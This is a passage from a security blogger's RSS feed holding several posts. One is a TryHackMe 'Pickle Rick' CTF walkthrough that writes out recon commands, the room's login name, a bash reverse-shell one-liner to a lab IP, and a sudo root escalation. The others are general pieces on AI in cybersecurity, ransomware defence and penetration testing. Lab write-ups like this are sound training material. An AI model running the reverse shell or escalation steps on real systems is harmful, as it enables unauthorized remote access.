href="https://medium.com/@madushan-perera/http-cookies-how-websites-track-our-online-activities-c89f7ee312d9">https://medium.com/@madushan-perera/http-cookies-how-websites-track-our-online-activities-c89f7ee312d9</a></p><p>Follow me for more &amp; Keep getting in touch with me!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=519df10b28e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pickle Rick Room Walkthrough on TryHackMe]]></title>
            <link>https://madushan-perera.medium.com/pickle-rick-room-walkthrough-on-tryhackme-5e8362b3d75c?source=rss-f4ffe469ec4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e8362b3d75c</guid>
            <dc:creator><![CDATA[Madushan perera]]></dc:creator>
            <pubDate>Fri, 10 Feb 2023 09:07:35 GMT</pubDate>
            <atom:updated>2023-02-10T09:39:19.205Z</atom:updated>
            <content:encoded><![CDATA[<p>A Rick and Morty CTF. Help turn Rick back into a human!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*hH4sXXNoiGJ9GmjaPt7vGQ.jpeg" /><figcaption>Pickle Rick</figcaption></figure><p>The <strong>Pickle Rick</strong> room on TryHackMe is a beginner-friendly penetration testing challenge that allows you to practice your skills and apply what you have learned. In this walkthrough, I will guide you through the process of completing the Pickle Rick room and explain the different steps involved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bRTkCjbyt3reJbN-zIFMyw.png" /></figure><h3><strong>Introduction</strong></h3><p>To get started, you will need to sign up for a TryHackMe account and then access the Pickle Rick room. Read the introduction and objectives of the room, and then click on the “Start” button to begin the challenge.</p><p><a href="https://tryhackme.com/room/picklerick">Pickle Rick</a></p><h3>Reconnaissance</h3><p>The first step in any penetration testing engagement is reconnaissance. This step involves gathering information about the target system and the services that are running on it. For this challenge, you will need to use Nmap to perform a scan of the target system. To do this, you can use the following command:</p><p><strong><em>nmap -sV &lt;target_ip&gt;</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*Wmz-Idv1rmCr1Gy19bh4Eg.png" /><figcaption>nmap scan result</figcaption></figure><p>Once you have run the scan, examine the output to identify the services that are running on the target system and take note of any open ports.</p><p><strong>Results: ssh: 22/tcp &amp; HTTP: 80/tcp open</strong></p><h3><strong>Enumeration</strong></h3><p>Let’s use <strong>Gobuster </strong>to look for directories in our WebApp.If you’re using the THM attack box, the wordlist is located at /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt.</p><p><strong><em>gobuster dir -u &lt; HTTP:// Target IP &gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php</em></strong></p><p>This command will look for all files with the extensions &quot;.php&quot; and &quot;.html&quot; on the target application.</p><h3>Website Exploration</h3><p>According to our Nmap scan, the web server is on port 80.</p><p>So Let’s go to our target website by using <a href="http://your/"><em>http://</em></a><em>TARGET IP</em>.<br>This page warmly welcomes us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GJYwSZkYl-XMtPswsLD2Vw.png" /><figcaption>Our target website welcome page</figcaption></figure><p>Viewing the page source reveals something interesting.</p><p><strong>Username: R1ckRul3s</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zgG6n1jClsB8EMK5HS37uA.png" /><figcaption>Viewing the page source</figcaption></figure><p>Now, we can use a web server scanner to see if there are any vulnerabilities that we could exploit. Nikto can be used for this.</p><p><strong><em>Command : nikto -host &lt; HTTP:// Target IP &gt;</em></strong></p><p>According to Nikto, the Robots.txt file does not contain “disallow” entries and does not follow the standard format.</p><p>During the directory brute-force attack, we discovered a page called login.php. Let’s go check it out. The Portal Login Page will then appear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Qt9Pj0KqW7b2gVS0rkl7Q.png" /><figcaption>The Portal Login Page</figcaption></figure><p>The username (R1ckRul3s) is known, but what about the password? We must investigate our enumeration findings in order to find it. Remember that robots.txt file we found? Nikto pointed out that it appeared strange. Let’s take a look and try it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C2kKH11aL5klQSPttCvLHQ.png" /></figure><p>Great! A new page called the Command Panel will then appear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4rh0Y6UBf0b8u9ziFsctw.png" /></figure><p>We can use the ls command to see if there are any files, one of which is a secret ingredient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*79aDKTdDg7GCRcCHQGe62Q.png" /></figure><p>Then let’s try the cat command for the file’s contents. However, there was an error when using the cat command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G4SxibUyWIsm0cZa9J3L_Q.png" /></figure><p>So let’s try a different command: less. Less is a Linux terminal pager that displays the contents of a file one screen at a time.</p><p>Great ! We got the First ingredient Rick needs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PTBGVz_EWBfgVAuXCzrm8w.png" /></figure><p>Now we can try to concatenate other directories by using this command panel. The directory contained a clue.txt file. Let’s read the contents of it with the same less command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sBZ_EX8RiwaL_pbsDI9W_A.png" /></figure><p>There is a note that says, “Look around the file system for the other ingredient.” And it means we have to keep digging.</p><h3>Reverse Shell</h3><p>Let’s see if we can get a shell in our system by running netcat.</p><p><strong>Netcat (nc) is a versatile networking tool that can be used to perform various tasks, such as sending and receiving data, creating backdoors, and scanning ports.</strong></p><p>This is when we decided to launch a reverse shell by running a reverse shell script from the command section.</p><p>Before running the reverse shell script command on the web application, we started a Netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*Htt4vaalAxfNprA4dnP2lA.png" /></figure><p>Now we can run our reverse shell script command on the web application.</p><p>You can easily find a Bash reverse shell from; <a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ikZcmTX9_I7meZQMymOr0g.png" /></figure><p><strong><em>Reverse shell bash script : bash -c ‘bash -i &gt;&amp; /dev/tcp/10.18.62.149/8080 0&gt;&amp;1’</em></strong></p><p>On the target machine, we had a reverse shell, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*e3wPMZgvD4AngiTSdb5sRg.png" /></figure><p>We can use the ls command to see if there are any files, one of which is a secret ingredient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*ZhdhTWzOBgkfrkRwT76tsg.png" /></figure><p>Now we have a stable Shell. As a result, we can easily obtain all of the flags by concatenating these files or navigating to our users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mvBTYND8EQE6p1TVrNeDIA.png" /></figure><p>We have successfully obtained the second ingredient. But the problem is that access to the &quot;root&quot; is denied.</p><h3>Privilege Escalation</h3><p>We look for sudo privileges for the www-data user. As we can see, it can execute all commands as root. To obtain the root shell, we use the sudo command in conjunction with bash. We were able to gain access to the machine’s root shell. We then read the Third Ingredient and exploit the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*VJKMbYl3x1dAp3U4hVJVcw.png" /></figure><h3>Congratulations!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2qWMZetxr0Gkgpjqa0yjvA.png" /></figure><h3>Conclusion</h3><p>The Pickle Rick room on TryHackMe is a great way to practice your penetration testing skills and apply what you have learned. By following this walkthrough, you should be able to complete the challenge and gain a deeper understanding of the various steps involved in a penetration testing engagement. Good luck! Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e8362b3d75c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AI for ensuring Cyber security]]></title>
            <link>https://madushan-perera.medium.com/ai-for-ensuring-cyber-security-de419235342a?source=rss-f4ffe469ec4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/de419235342a</guid>
            <dc:creator><![CDATA[Madushan perera]]></dc:creator>
            <pubDate>Fri, 10 Feb 2023 04:47:30 GMT</pubDate>
            <atom:updated>2023-02-10T04:47:30.312Z</atom:updated>
            <content:encoded><![CDATA[<p>Cybersecurity is becoming increasingly important as more businesses move online and rely on digital technologies. With the increasing sophistication of cyber attacks, organizations must be proactive in protecting themselves and their customers from potential security breaches. Artificial intelligence (AI) is playing a critical role in ensuring cybersecurity by automating the detection and prevention of security threats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*PBwN_VYSIx22RQ4sR9H0Vg.jpeg" /></figure><h3>What is Artificial intelligence?</h3><p>Artificial Intelligence (AI) refers to the development of computer systems that can perform tasks that normally require human intelligence, such as visual perception, speech recognition, decision-making, and language translation. AI technologies are designed to mimic human cognition and learning, allowing computers to perform tasks that would typically require human intelligence.</p><p>There are different types of AI, including narrow or weak AI, which is designed to perform a specific task, and general or strong AI, which is designed to perform any intellectual task that a human can. AI can be categorized into different areas, including machine learning, computer vision, natural language processing, robotics, and expert systems.</p><p>AI technologies are being used in a variety of applications, from virtual personal assistants, such as Siri and Alexa, to self-driving cars and medical diagnosis systems. AI is also being used to improve efficiency and productivity in many industries, such as finance, healthcare, and retail.</p><p>The development of AI is a rapidly evolving field, and new breakthroughs are being made all the time. While AI has the potential to bring many benefits, it also raises important ethical and social questions, including the impact on employment, privacy, and the balance of power between humans and machines.</p><h3>What is AI in cybersecurity?</h3><p>AI in cybersecurity refers to the use of machine learning algorithms and natural language processing to automate the detection and prevention of cyber attacks. AI algorithms can be trained to recognize patterns and anomalies in network traffic, identify potential threats, and respond to them in real time. AI technologies are being used to improve various aspects of cybersecurity, including network security, threat intelligence, and incident response.</p><h3>Benefits of AI in Cybersecurity</h3><ol><li>Improved Threat Detection: AI algorithms can analyze large amounts of network data in real time to identify potential security threats. This helps organizations to detect security breaches and respond to them quickly, reducing the risk of data loss and damage.</li><li>Automated Incident Response: AI algorithms can automate the incident response process, allowing organizations to respond to security incidents more quickly and effectively. AI technologies can also provide a higher level of accuracy in incident response, reducing the risk of false positives and false negatives.</li><li>Enhanced Threat Intelligence: AI technologies can provide organizations with real-time threat intelligence, allowing them to stay up-to-date on the latest cyber threats and protect themselves proactively.</li><li>Improved Network Security: AI algorithms can analyze network traffic in real-time, detecting and preventing security threats before they can cause harm. This helps organizations maintain secure network infrastructure, reducing the risk of security breaches.</li><li>Cost Savings: AI technologies can automate many manual cybersecurity tasks, reducing the need for manual labor and reducing operational costs.</li></ol><p>The use of AI in cybersecurity is expected to continue to grow and evolve in the coming years, and <strong>here are some of the future AI trends</strong> in this field:</p><ol><li>Advanced AI and Machine Learning: The use of advanced AI and machine learning technologies are expected to become more widespread in cybersecurity. These technologies will be used to analyze large amounts of data and provide more sophisticated threat detection and response capabilities.</li><li>AI-Powered Virtual Cybersecurity Analysts: AI-powered virtual cybersecurity analysts are expected to become more common, providing 24/7 monitoring and threat detection capabilities. These virtual analysts will use AI to analyze data and identify potential threats and will be able to respond to incidents more quickly and effectively.</li><li>Integration of AI and IoT: AI and the Internet of Things (IoT) are expected to become increasingly integrated in the future. AI technologies will be used to secure IoT devices and protect against cyber attacks on these devices.</li><li>AI-Powered Identity and Access Management: AI technologies are expected to be used to enhance identity and access management systems, providing more sophisticated and secure authentication and authorization capabilities.</li><li>AI-Powered Cyber Defense: AI technologies are expected to be used to develop cyber defense solutions that can detect, respond to, and prevent cyber attacks more effectively. AI will be used to analyze data and identify patterns and anomalies and will provide organizations with real-time threat intelligence.</li><li>AI-Enabled Compliance: AI technologies are expected to be used to automate compliance processes, ensuring that organizations meet regulatory requirements and reduce the risk of penalties. AI will be used to analyze data and identify potential compliance violations and will provide organizations with real-time insights and recommendations.</li></ol><h3>Challenges of AI in Cybersecurity</h3><ol><li>Bias in AI Algorithms: AI algorithms are only as good as the data they are trained on. If the training data contains biases, the AI algorithms will also be biased, which can result in false positives or false negatives in threat detection.</li><li>Lack of Human Oversight: AI technologies can automate many cybersecurity tasks, but they cannot replace human judgment and decision-making. It is important to have human oversight of AI algorithms to ensure they are functioning correctly and to make informed decisions in complex security scenarios.</li><li>High Costs of Implementation: Implementing AI technologies in cybersecurity can be costly, particularly for smaller organizations. The high costs of implementation can limit the adoption of AI in cybersecurity, particularly for organizations with limited budgets.</li><li>Lack of Data Privacy: AI algorithms rely on large amounts of data to function, which can pose privacy concerns for organizations and individuals. It is important to ensure that data used in AI algorithms is collected and stored in a secure and privacy-compliant manner.</li></ol><h3>Conclusion</h3><p>AI is playing an increasingly important role in ensuring cybersecurity by automating the detection and prevention of security threats. The benefits of AI in cybersecurity include improved threat detection, automated incident response, enhanced threat intelligence, improved network security, and cost savings. However, there are also challenges associated with AI in cybersecurity, including bias in AI algorithms, a lack of human oversight, high costs of implementation, and a lack of data privacy. Organizations must be mindful of these challenges and take a strategic approach to the implementation of AI in cybersecurity to ensure the technology is used effectively to improve security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de419235342a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Rise of Ransomware Attacks: Protecting Yourself and Your Business]]></title>
            <link>https://madushan-perera.medium.com/the-rise-of-ransomware-attacks-protecting-yourself-and-your-business-fcf4377ec246?source=rss-f4ffe469ec4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/fcf4377ec246</guid>
            <dc:creator><![CDATA[Madushan perera]]></dc:creator>
            <pubDate>Thu, 09 Feb 2023 14:13:51 GMT</pubDate>
            <atom:updated>2023-02-09T14:13:51.628Z</atom:updated>
            <content:encoded><![CDATA[<p>Cybersecurity is a constantly evolving field, and one of the latest threats that have been on the rise in ransomware attacks. Ransomware is a type of malware that encrypts the victim’s files and demands payment in exchange for the decryption key. These attacks can be devastating, especially for businesses, as they can result in the loss of sensitive data and significant downtime. In this article, we will explore the rise of ransomware attacks, how they are carried out, and what you can do to protect yourself and your business.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*XBTY_rxg8pdLurkbx5dAmg.jpeg" /></figure><h3><strong>How Ransomware Attacks Work ;</strong></h3><p>Ransomware attacks typically start with a phishing email that contains a malicious link or attachment. When the user clicks on the link or opens the attachment, the malware is installed on their computer. Once the malware has been installed, it will encrypt the victim’s files, making them inaccessible. The attacker then demands payment, usually in the form of cryptocurrency, in exchange for the decryption key.</p><h3><strong>Why Ransomware Attacks are on the Rise ;</strong></h3><p>Ransomware attacks are on the rise for several reasons. One of the main reasons is that they are highly profitable for attackers. According to a recent report, the average ransom payment has increased from $10,000 in 2016 to $170,000 in 2021. Additionally, ransomware attacks are becoming more sophisticated and harder to detect, making them more effective.</p><h3><strong>Protecting Yourself and Your Business</strong></h3><p>The best way to protect yourself and your business from ransomware attacks is to be proactive.</p><p><strong>Here are some steps you can take to reduce your risk:</strong></p><ol><li>Educate yourself and your employees about phishing scams and how to identify them.</li><li>Implement a robust backup strategy that includes regular backups of your data, and store backups offline or in the cloud.</li><li>Use reputable antivirus software and keep it updated.</li><li>Keep your operating system and software up-to-date, as attackers often exploit vulnerabilities in outdated systems.</li><li>Implement multi-factor authentication for all accounts.</li><li>Train your employees on security best practices, such as not opening attachments from unknown sources or using strong, unique passwords.</li></ol><p>Ransomware attacks are a growing threat, but by being proactive and taking the necessary steps to protect yourself and your business, you can reduce your risk and minimize the impact of a potential attack. Stay informed and vigilant, and always remember that cybersecurity is a shared responsibility.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fcf4377ec246" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Uncovering Vulnerabilities: A Guide to Penetration Testing]]></title>
            <link>https://madushan-perera.medium.com/uncovering-vulnerabilities-a-guide-to-penetration-testing-26e2664d5db?source=rss-f4ffe469ec4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/26e2664d5db</guid>
            <dc:creator><![CDATA[Madushan perera]]></dc:creator>
            <pubDate>Fri, 03 Feb 2023 12:15:29 GMT</pubDate>
            <atom:updated>2023-02-03T12:15:29.638Z</atom:updated>
            <content:encoded><![CDATA[<p>Penetration testing, also known as <strong>pen testing</strong>, is a security assessment method used to evaluate the vulnerabilities and weaknesses in a computer system, network, or web application. The purpose of penetration testing is to simulate an attack on a system, find security weaknesses, and report the findings to the organization so that they can take measures to improve their security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*V4yyt1SYgCl2qLT-6phcyw.png" /><figcaption>Penetration Testing</figcaption></figure><p>Penetration testing can be performed on various types of systems, including networks, web applications, mobile devices, cloud systems, and more. The goal of pen testing is to identify the potential risks to a system, including unauthorized access to sensitive data, theft of confidential information, and system downtime.</p><p>There are various types of penetration testing, each with a different focus. For example, white-box testing is performed with complete knowledge of the system’s inner workings, while black-box testing is performed with no prior knowledge of the system. Gray-box testing is somewhere in between, with partial knowledge of the system.</p><h4><strong>The process of pen testing typically consists of several stages:</strong></h4><ol><li>Planning and Preparation: In this stage, the organization defines the scope and objectives of the penetration test, selects the target systems and applications, and determines the type of testing to be performed.</li><li>Reconnaissance: In this stage, the tester gathers information about the target system, including IP addresses, network infrastructure, and web application details.</li><li>Scanning: In this stage, the tester uses automated tools to scan the target system for vulnerabilities and weaknesses.</li><li>Exploitation: In this stage, the tester attempts to exploit the vulnerabilities found in the previous stage to gain unauthorized access to the system.</li><li>Reporting: In this stage, the tester summarizes the findings of the penetration test, including the types of vulnerabilities found and the impact of the vulnerabilities. The report should also include recommendations for improving security.</li></ol><p>Penetration testing is an essential component of a comprehensive security program. It helps organizations identify and prioritize the risks to their systems and take measures to improve security. However, it is important to understand that penetration testing is not a one-time event. Regular testing is necessary to stay ahead of evolving threats and ensure that security is maintained.</p><p>In conclusion, penetration testing is a valuable tool for organizations looking to improve the security of their systems. With the increasing number of security threats, it is more important than ever for organizations to invest in penetration testing. By finding and fixing security vulnerabilities before they are exploited, organizations can ensure the security of their sensitive data and protect their systems from unauthorized access.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26e2664d5db" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>